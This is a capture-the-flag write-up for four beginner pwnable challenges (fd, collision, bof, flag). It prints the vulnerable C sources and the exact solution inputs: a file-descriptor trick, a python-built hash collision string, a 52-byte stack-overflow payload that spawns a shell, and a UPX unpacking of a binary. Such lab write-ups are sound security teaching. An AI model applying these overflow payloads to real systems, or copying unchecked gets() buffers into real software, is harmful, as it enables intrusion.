Toddler's Bottle Part 1
File Descriptor
Using the ls -la
you'll notice that the suid
bit is set for fd
executable. Checking the code:
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
char buf[32];
int main(int argc, char* argv[], char* envp[]){
if(argc<2){
printf("pass argv[1] a number\n");
return 0;
}
int fd = atoi( argv[1] ) - 0x1234;
int len = 0;
len = read(fd, buf, 32);
if(!strcmp("LETMEWIN\n", buf)){
printf("good job :)\n");
system("/bin/cat flag");
exit(0);
}
printf("learn about Linux file IO\n");
return 0;
}
Two important function calls inside the code are atio()
which initializes the fd
. The fd
is then passed to read()
as the first argument which is the file descriptor. File descriptor 0 is stdin
so the argument should be 0x1234
which is 4660
. Then the stdin
will be used and then the next input should be LETMEWIN
ENTER.
Collision
For better understanding I took the code and ran it locally to do different testings (maybe because I'm a toddler :] ). Here's the code I modified a little bit to print a bunch of new stuff:
#include <stdio.h>
#include <string.h>
unsigned long hashcode = 0x21DD09EC;
unsigned long check_password(const char* p){
int* ip = (int*)p;
int i;
int res=0;
for(i=0; i<5; i++){
res += ip[i];
printf("%d\n",ip[i]);
}
printf ("%d\n",res);
printf ("%lu\n", hashcode);
printf ("%d\n", (int) hashcode);
return res;
}
int main(int argc, char* argv[]){
if(argc<2){
printf("usage : %s [passcode]\n", argv[0]);
return 0;
}
if(strlen(argv[1]) != 20){
printf("passcode length should be 20 bytes\n");
return 0;
}
if(hashcode == check_password( argv[1] )){
system("/bin/cat flag");
return 0;
}
else
printf("wrong passcode.\n");
return 0;
}
The code needs an argument of length 20 bytes (like 20 characters), but in check_password()
, it converts them to int
which is 32 bits. So Every 4 chars would form an integer. Then these 5 integers are summed up in the for
loop of the check_password()
and is then compared to hashcode
which is 568134124
decimal. So an easy way is to divide it by 5 and find the 5 numbers:
568134124 = 4*113626824 + 113626828~
OR
~0x21DD09EC = 4*0x6C5CEC8 + 0x6C5CECC
So taking the endianness into account, let's create this string using python
and pass it as argument:
$ ./col $(python -c "print '\xc8\xce\xc5\x06'*4 + '\xcc\xce\xc5\x06'")
bof
simple buffer overflow based on this code:
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
void func(int key){
char overflowme[32];
printf("overflow me : ");
gets(overflowme); // smash me!
if(key == 0xcafebabe){
system("/bin/sh");
}
else{
printf("Nah..\n");
}
}
int main(int argc, char* argv[]){
func(0xdeadbeef);
return 0;
}
Find the offset of 0xdeadbeef
and replace it with 0xcafebabe
. We can get the offset by brute-forcing (the easy way) or we can use r2
to calculate the buffer (the hard way). So let's use r2
. Here's a snapshot of the ~main~'s variables:
Checking the code you'll notice local_2ch
is actually the buffer and clearly arg_8h
is the argument, i.e. 0xdeadbeef
. So let's calculate how many bytes we have to write (52 bytes):
And now let's create the input string and send it to TCP server using:
python -c "print 'A'*52 + '\xbe\xba\xfe\xca'"
Final result (echo is not needed here, I was too lazy to change the screenshot):
flag
Going through the code in r2's debug mode it's clear that the binary is packed:
[root:~/hostDownloads]# rabin2 -zz ./flag | grep UPX
Warning: Cannot initialize section headers
Warning: Cannot initialize strings table
Warning: Cannot initialize dynamic strings
000 0x000000b4 0x004000b4 4 5 (LOAD0) ascii UPX!
7050 0x0004a656 0x0044a656 78 79 (LOAD0) ascii $Info: This file is packed with the UPX executable packer https://upx.sf.net $\n
7051 0x0004a6a5 0x0044a6a5 75 76 (LOAD0) ascii $Id: UPX 3.08 Copyright (C) 1996-2011 the UPX Team. All Rights Reserved. $\n
8071 0x00051d8c 0x00051d8c 4 5 () ascii UPX!
8072 0x00051d94 0x00051d94 5 6 () ascii UPX!\r
Trying to take the same approach as, for instance, here didn't work considering that the challenge is "toddler". So turns out it's as easy as literally unpacking it:
[root:~/hostDownloads]# upx -d flag
Ultimate Packer for eXecutables
Copyright (C) 1996 - 2017
UPX 3.94 Markus Oberhumer, Laszlo Molnar & John Reiser May 12th 2017
File size Ratio Format Name
-------------------- ------ ----------- -----------
883745 <- 335288 37.94% linux/amd64 flag
Unpacked 1 file.
and checking the code a little bit and then extracting the string:
[root:~/hostDownloads]# strings flag | grep UPX
UPX...? sounds like a delivery service :)